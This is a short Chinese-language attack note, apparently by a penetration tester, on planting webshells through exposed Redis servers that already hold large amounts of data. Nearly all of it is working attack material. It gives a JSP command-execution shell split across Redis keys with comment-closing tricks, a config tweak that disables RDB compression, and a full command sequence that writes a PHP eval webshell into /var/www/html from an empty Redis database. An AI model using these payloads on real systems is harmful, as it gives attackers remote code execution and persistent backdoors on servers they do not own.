参考:

https://mp.weixin.qq.com/s/ER6s48ipu1CXdCoezvR0aA

本质:

Redis在写长文本的情况下遇到的乱码问题

源于去年某次攻防实战 当时数据量很大 整个redis里有百把兆数据

搞了很久因为jsp的shell很长 老手法写访问就是500 数据里面自带的脏字符会和shell冲突

所以不管怎么样 先备份数据 然后清空再写shell(数据量很大的话) 写完shell再恢复数据

poc1

set x '*/byte[] b = new byte[2048];/*'
set x2 '*/out.print("<pre>");/*'
set x3 '*/out.print("</pre>");}%>'
set x4 '*/request.getParameter("i")).getInputStream();/*'
set x5 '/r/n/r/n<% if ("023".equals(request.getParameter("pwd"))) {/*'
set x6 '*/java.io.InputStream in = Runtime.getRuntime().exec(/*'
set x7 '*/int a = -1;/*'
set x8 '*/while ((a = in.read(b)) != -1) {/*'
set x9 '*/out.println(new String(b));}/*'

如果不清空的话 自带的数据跟shell冲突后

我们只需要找到第一个被写入的键值在它前面加上<!--,然后在我们写入的第一个payload的值前方加上闭合注释>即可。(如果脏数据当中没有包含Java的代码,那么这里会是txt文本格式输出,就不用管这一段脏数据,如果实在太长影响操作,可以尝试写入html标签进行包裹再注释。)
/*注释的内容*/
给木马的第一行加上闭合符号。
即:set x5 '*//r/n/r/n<% if ("023".equals(request.getParameter("pwd"))) {/*'

poc2

set完成时候设置
config set rdbcompression no

无须清空的方法

参考:

https://mp.weixin.qq.com/s/NEzzJaE-WXJM2hu9jjf02w

我们可以利用 redis 本身的特性来避开这个风险,redis 默认数据库有 16 个,连接成功后默认使用的是 0 号数据库(所以默认清空的是 0 号数据库数据),我们可以使用 select 语句切换数据库,每切换一次就使用 dbsize 查看当前数据库数据量,从 0 到 15一个个试,直到找到 dbsize 为 0 的数据库,然后在这个数据库中完成恶意操作即可,而且也不需要执行 flushall 命令了。

127.0.01:6379> select 5
OK
127.0.01:6379[5]> dbsize
(integer) 0
select 5
config set dir /var/www/html/
config set dbfilename redis.php
set shell '<?php @eval($_POST["x"]); ?>'
save